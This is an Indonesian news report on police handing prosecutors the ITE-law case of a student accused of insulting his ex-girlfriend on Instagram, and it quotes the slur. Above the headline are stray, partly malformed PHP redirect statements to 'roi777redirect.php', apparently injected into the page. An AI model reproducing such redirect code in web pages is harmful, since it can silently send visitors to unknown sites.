header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Polres Lampura Tahan Tersangka Pelanggar UU ITE -
Polres Lampura Tahan Tersangka Pelanggar UU ITE

TRANSLAMPUNG.COM

KOTABUMI –  Untuk pertama kalinya Polres Lampung Utara menangani dan menahan tersangka yang diduga melanggar UU ITE. Hal tersebut diketahui setelah pihak Polres Lampung Utara melimpahkan berkas tersangka GDP (20) Warga Baturetno Desa Baturaja Kecamatan Sungkai Utara,  Ke Kejaksaan Negeri, Rabu (28/3)

GDP (20) Mahasiswa semester pertama ini dijerat dengan Undang-Undang Informasi dan Transaksi Elektonik (UU ITE), karena diduga melakukan penghinaan kepada DL (19) warga Desa Negara Ratu Sungkai Utara, melalui media sosial Instagram.

Kapolres Lampura AKBP Eka Mulyana melalui Kasat Reskrim AKP Syahrial,  Yang diwakili Kaur Bin Ops Sat Reskim Ipda Saragih mengatakan, pelimpahan tersangka dan berkas perkara ke kejaksaan karena telah dianggap lengkap.
“Tersangka kami amankan pada awal Januari 2018 lalu. Setelah berkas dinyatakan lengkap, dia langsung kami limpahkan,”kata Saragih, di kantor Kejari Lampura.

Dipaparkannya GDP diamankan setelah polisi menerima laporan dari korban DL yang merupakan mantan pacar tersangka,  Dalam laporannya korban menjelaskan jika tersangka membuat kalimat yang dinilai suatu penghinaan, melalui akun miliknya di media sosial Instragram. Dimana isi ancaman itu yakni ‘Alhmdulillah sekarang sudah beres, Desi cuma masa lalu, Desi udah nggak penting, dia itu pelacur murahan, jadi jangan mau lagi kenal ataupun liat mukanya lagi selama-lamanya’. Postingan itu dimuat pada 6 Agustus 2016 lalu.”Setelah muncul postingan itu, korban langsung melapor ke polisi,” paparnya

Karena perbuatannya itu lanjut Saragih tersangka dijerat dengan Pasal 36 jo 51 ayat 2 UU RI No 11 Tahun 2008 jo pasal 45 ayat UU No 19 Tahun 2016 tentang perubahan atas UU No 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik, dengan ancaman hukuman 12 tahun.
“Barang bukti yang kami ikut kami limpahkan diantaranya dua unit handphone, serta foto screenshot postingan itu,” Ucap Saragih

Ditempat yang sama, Kasi Pidum Kejari Lampura Husni Mubaroq membenarkan pihaknya menerima pelimpahan berkas dan perkara GDP.

“Secepatnya kami limpahkan ke pengadilan untuk segera disidangkan. Dan untuk perkara ini akan melibatkan dua jaksa sebagai penuntut umum dalam persidangan nantinya,”kata Husni.

Dan dakwaan yang digunakan nanti alternatif, yakni pasal 27 (3) Jo pasal 45 (3) UU Nomor 19 Th 2016 tentang perubahan atas UU nomor 11 tahun 2008 ITE. Yang kedua, Pasal 36 Jo Pasal 51 (2) UU Nomor 19 Th 2016 tentang perubahan atas UU nomor 11 tahun 2008 ITE. Dan ketiga, pasal 310 KUHP,” pungkasnya (Eka)

News Reporter